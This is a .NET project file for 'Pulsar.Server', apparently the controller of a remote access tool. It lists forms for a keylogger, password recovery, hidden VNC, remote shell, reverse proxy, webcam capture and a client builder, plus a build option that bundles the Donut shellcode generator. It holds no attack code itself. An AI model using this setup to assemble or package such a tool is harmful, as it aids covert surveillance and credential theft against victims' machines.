<Project Sdk="Microsoft.NET.Sdk">	
	<PropertyGroup>
		<TargetFramework>net9.0-windows</TargetFramework>
		<OutputType>WinExe</OutputType>
		<AssemblyName>Pulsar</AssemblyName>
		<UseWindowsForms>true</UseWindowsForms>
		<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
		<Configurations>Debug;Release;ReleaseWithDonut</Configurations>
		<GenerateResourceUsePreserializedResources>true</GenerateResourceUsePreserializedResources>
		<StartupObject>Pulsar.Server.Program</StartupObject>
		<ApplicationIcon>Images\Icons\Pulsar_Server.ico</ApplicationIcon>
		<ApplicationManifest>app.manifest</ApplicationManifest>
		<DonutDir>$(MSBuildProjectDirectory)\..\external\donut</DonutDir>
		<CustomResourceTypesSupport>true</CustomResourceTypesSupport>
		<EnableWindowsTargeting>true</EnableWindowsTargeting>
		<UseWPF>true</UseWPF>
		<NoWarn>$(NoWarn);CA1416</NoWarn>
	</PropertyGroup>
	<!-- Donut build configuration -->
  <!-- Build Donut only for ReleaseWithDonut config -->
  <Target Name="BuildDonut" BeforeTargets="BeforeBuild" Condition="'$(Configuration)'=='ReleaseWithDonut'">
    <Message Text="▶ Building Donut via nmake in $(DonutDir)" Importance="High" />
    <Exec WorkingDirectory="$(MSBuildProjectDirectory)" Command="build-donut.bat" ContinueOnError="false" />
  </Target>
  <!-- Copy Donut outputs only when building ReleaseWithDonut -->
  <Target Name="CopyDonutFiles" AfterTargets="Build" Condition="Exists('$(DonutDir)\donut.exe') and '$(Configuration)'=='ReleaseWithDonut'">
    <Copy SourceFiles="$(DonutDir)\donut.exe" DestinationFiles="$(OutputPath)donut.exe" SkipUnchangedFiles="true" />
    <Copy SourceFiles="$(DonutDir)\DonutDLL.dll" DestinationFiles="$(OutputPath)DonutDLL.dll" SkipUnchangedFiles="true" Condition="Exists('$(DonutDir)\DonutDLL.dll')" />
    <Message Text="▶ Copied Donut files to $(OutputPath)" Importance="High" />
  </Target>
	<!-- Donut build configuration end -->
	<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
		<OutputPath>..\bin\Debug\</OutputPath>
		<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
		<UseVSHostingProcess>false</UseVSHostingProcess>
		<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
	</PropertyGroup>
	<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|AnyCPU'">
		<OutputPath>..\bin\Release\</OutputPath>
		<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
		<DebugType>none</DebugType>
		<UseVSHostingProcess>false</UseVSHostingProcess>
		<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
	</PropertyGroup>
	<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='ReleaseWithDonut|AnyCPU'">
	  <OutputPath>..\bin\Release\</OutputPath>
	  <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
	  <DebugType>none</DebugType>
	  <UseVSHostingProcess>false</UseVSHostingProcess>
	  <CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
	</PropertyGroup>
	<ItemGroup>
		<PackageReference Include="Microsoft.Data.Sqlite" Version="8.0.8" />
		<PackageReference Include="DiscordRichPresence" Version="1.3.0.28" />
		<PackageReference Include="dnlib" Version="4.5.0" />
		<PackageReference Include="Mono.Cecil" Version="0.11.6" />
		<PackageReference Include="MouseKeyHook" Version="5.7.1" />
		<PackageReference Include="NAudio.Asio" Version="2.2.1" />
		<PackageReference Include="NAudio.Core" Version="2.2.1" />
		<PackageReference Include="NAudio.Midi" Version="2.2.1" />
		<PackageReference Include="NAudio.Wasapi" Version="2.2.1" />
		<PackageReference Include="NAudio.WinForms" Version="2.2.1" />
		<PackageReference Include="NAudio.WinMM" Version="2.2.1" />
		<PackageReference Include="Open.Nat" Version="2.1.0" />
		<PackageReference Include="Portable.BouncyCastle" Version="1.9.0" />
		<PackageReference Include="Newtonsoft.Json" Version="13.0.3" />
		<PackageReference Include="MessagePack" Version="3.1.4" />
		<PackageReference Include="System.Resources.Extensions" Version="9.0.7" />
		<PackageReference Include="System.Runtime.CompilerServices.Unsafe" Version="6.1.2" />
		<PackageReference Include="Vestris.ResourceLib" Version="2.2.0" />
		<PackageReference Include="System.Configuration.ConfigurationManager" Version="9.0.7" />
		<PackageReference Include="System.ServiceModel.Primitives" Version="8.1.2" />
		<PackageReference Include="System.ServiceModel.Http" Version="8.1.2" />
		<PackageReference Include="System.ServiceModel.Duplex" Version="6.0.0" />
		<PackageReference Include="System.ServiceModel.NetTcp" Version="8.1.2" />
		<PackageReference Include="System.ServiceModel.Security" Version="6.0.0" />
		<PackageReference Include="System.ServiceModel.Federation" Version="8.1.2" />
		<PackageReference Include="LiveChartsCore" Version="2.0.0-rc6.1" />
		<PackageReference Include="LiveChartsCore.SkiaSharpView" Version="2.0.0-rc6.1" />
		<PackageReference Include="LiveChartsCore.SkiaSharpView.WPF" Version="2.0.0-rc6.1" />
	</ItemGroup>
	<ItemGroup>
		<Compile Update="Controls\DotNetBarTabControl.cs" />
		<Compile Update="Controls\HexEditor\HexEditor.cs" />
		<Compile Update="Controls\Line.cs" />
		<Compile Update="Controls\HVNCRapidPictureBox.cs" />
		<Compile Update="Controls\RapidPictureBox.cs" />
		<Compile Update="Controls\RegistryTreeView.cs" />
		<Compile Update="Controls\WordTextBox.cs" />
		<Compile Update="Controls\WordTextBox.Designer.cs">
			<DependentUpon>WordTextBox.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmCertificate.cs" />
		<Compile Update="Forms\FrmCertificate.Designer.cs">
			<DependentUpon>FrmCertificate.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmAbout.cs" />
		<Compile Update="Forms\FrmAbout.Designer.cs">
			<DependentUpon>FrmAbout.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRemoteWebcam.cs" />
		<Compile Update="Forms\FrmRemoteWebcam.Designer.cs">
			<DependentUpon>FrmRemoteWebcam.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmStartupAdd.cs" />
		<Compile Update="Forms\FrmStartupAdd.Designer.cs">
			<DependentUpon>FrmStartupAdd.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmBuilder.cs" />
		<Compile Update="Forms\FrmBuilder.Designer.cs">
			<DependentUpon>FrmBuilder.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmConnections.cs" />
		<Compile Update="Forms\FrmConnections.Designer.cs">
			<DependentUpon>FrmConnections.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmFileManager.cs" />
		<Compile Update="Forms\FrmFileManager.Designer.cs">
			<DependentUpon>FrmFileManager.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmKeylogger.cs" />
		<Compile Update="Forms\FrmKeylogger.Designer.cs">
			<DependentUpon>FrmKeylogger.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmMain.cs" />
		<Compile Update="Forms\FrmMain.Designer.cs">
			<DependentUpon>FrmMain.cs</DependentUpon>
		</Compile>
		<Compile Update="Controls\ListViewEx.cs" />
		<Compile Update="Forms\FrmPasswordRecovery.cs" />
		<Compile Update="Forms\FrmPasswordRecovery.Designer.cs">
			<DependentUpon>FrmPasswordRecovery.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRegistryEditor.cs" />
		<Compile Update="Forms\FrmRegistryEditor.Designer.cs">
			<DependentUpon>FrmRegistryEditor.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRegValueEditBinary.cs" />
		<Compile Update="Forms\FrmRegValueEditBinary.Designer.cs">
			<DependentUpon>FrmRegValueEditBinary.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRegValueEditMultiString.cs" />
		<Compile Update="Forms\FrmRegValueEditMultiString.Designer.cs">
			<DependentUpon>FrmRegValueEditMultiString.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRegValueEditString.cs" />
		<Compile Update="Forms\FrmRegValueEditString.Designer.cs">
			<DependentUpon>FrmRegValueEditString.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRegValueEditWord.cs" />
		<Compile Update="Forms\FrmRegValueEditWord.Designer.cs">
			<DependentUpon>FrmRegValueEditWord.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRemoteDesktop.cs" />
		<Compile Update="Forms\FrmRemoteDesktop.Designer.cs">
			<DependentUpon>FrmRemoteDesktop.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRemoteShell.cs" />
		<Compile Update="Forms\FrmRemoteShell.Designer.cs">
			<DependentUpon>FrmRemoteShell.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmReverseProxy.cs" />
		<Compile Update="Forms\FrmReverseProxy.Designer.cs">
			<DependentUpon>FrmReverseProxy.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmSettings.cs" />
		<Compile Update="Forms\FrmSettings.Designer.cs">
			<DependentUpon>FrmSettings.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmShowMessagebox.cs" />
		<Compile Update="Forms\FrmShowMessagebox.Designer.cs">
			<DependentUpon>FrmShowMessagebox.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmStartupManager.cs" />
		<Compile Update="Forms\FrmStartupManager.Designer.cs">
			<DependentUpon>FrmStartupManager.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmSystemInformation.cs" />
		<Compile Update="Forms\FrmSystemInformation.Designer.cs">
			<DependentUpon>FrmSystemInformation.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmTaskManager.cs" />
		<Compile Update="Forms\FrmTaskManager.Designer.cs">
			<DependentUpon>FrmTaskManager.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmVisitWebsite.cs" />
		<Compile Update="Forms\FrmVisitWebsite.Designer.cs">
			<DependentUpon>FrmVisitWebsite.cs</DependentUpon>
		</Compile>
		<Compile Update="Forms\FrmRemoteExecution.cs" />
		<Compile Update="Forms\FrmRemoteExecution.Designer.cs">
			<DependentUpon>FrmRemoteExecution.cs</DependentUpon>
		</Compile>
		<Compile Update="Properties\Resources.Designer.cs">
		  <DesignTime>True</DesignTime>
		  <AutoGen>True</AutoGen>
		  <DependentUpon>Resources.resx</DependentUpon>
		</Compile>
		<EmbeddedResource Update="Forms\FrmAbout.resx">
			<DependentUpon>FrmAbout.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmCertificate.resx">
			<DependentUpon>FrmCertificate.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmStartupAdd.resx">
			<DependentUpon>FrmStartupAdd.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmBuilder.resx">
			<DependentUpon>FrmBuilder.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmConnections.resx">
			<DependentUpon>FrmConnections.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmFileManager.resx">
			<DependentUpon>FrmFileManager.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmKeylogger.resx">
			<DependentUpon>FrmKeylogger.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmMain.resx">
			<DependentUpon>FrmMain.cs</DependentUpon>
			<SubType>Designer</SubType>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmPasswordRecovery.resx">
			<DependentUpon>FrmPasswordRecovery.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRegistryEditor.resx">
			<DependentUpon>FrmRegistryEditor.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRegValueEditBinary.resx">
			<DependentUpon>FrmRegValueEditBinary.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRegValueEditMultiString.resx">
			<DependentUpon>FrmRegValueEditMultiString.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRegValueEditString.resx">
			<DependentUpon>FrmRegValueEditString.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRegValueEditWord.resx">
			<DependentUpon>FrmRegValueEditWord.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRemoteDesktop.resx">
			<DependentUpon>FrmRemoteDesktop.cs</DependentUpon>
			<SubType>Designer</SubType>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRemoteShell.resx">
			<DependentUpon>FrmRemoteShell.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmReverseProxy.resx">
			<DependentUpon>FrmReverseProxy.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmSettings.resx">
			<DependentUpon>FrmSettings.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmShowMessagebox.resx">
			<DependentUpon>FrmShowMessagebox.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmStartupManager.resx">
			<DependentUpon>FrmStartupManager.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmSystemInformation.resx">
			<DependentUpon>FrmSystemInformation.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmTaskManager.resx">
			<DependentUpon>FrmTaskManager.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmVisitWebsite.resx">
			<DependentUpon>FrmVisitWebsite.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Forms\FrmRemoteExecution.resx">
			<DependentUpon>FrmRemoteExecution.cs</DependentUpon>
		</EmbeddedResource>
		<EmbeddedResource Update="Properties\Resources.resx">
			<Generator>ResXFileCodeGenerator</Generator>
			<SubType>Designer</SubType>
			<LastGenOutput>Resources.Designer.cs</LastGenOutput>
		</EmbeddedResource>
		<None Update="Properties\Settings.settings">
			<Generator>SettingsSingleFileGenerator</Generator>
			<LastGenOutput>Settings.Designer.cs</LastGenOutput>
		</None>
	</ItemGroup>
		<ItemGroup>
			<Content Include="Build\DeferredAssemblies\\*">
				<CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
			</Content>
		</ItemGroup>
	<ItemGroup>
		<ProjectReference Include="..\Pulsar.Common\Pulsar.Common.csproj" />
	</ItemGroup>
		<ItemGroup>
			<Content Include="DeferredAssemblies\\*">
				<CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
			</Content>
		</ItemGroup>
	<ItemGroup>
		<Reference Update="mscorlib">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System.Core">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System.Data">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System.Drawing">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System.IO.Compression.FileSystem">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System.Numerics">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System.Runtime.Serialization">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
	<ItemGroup>
		<Reference Update="System.Xml.Linq">
			<Private>False</Private>
		</Reference>
	</ItemGroup>
</Project>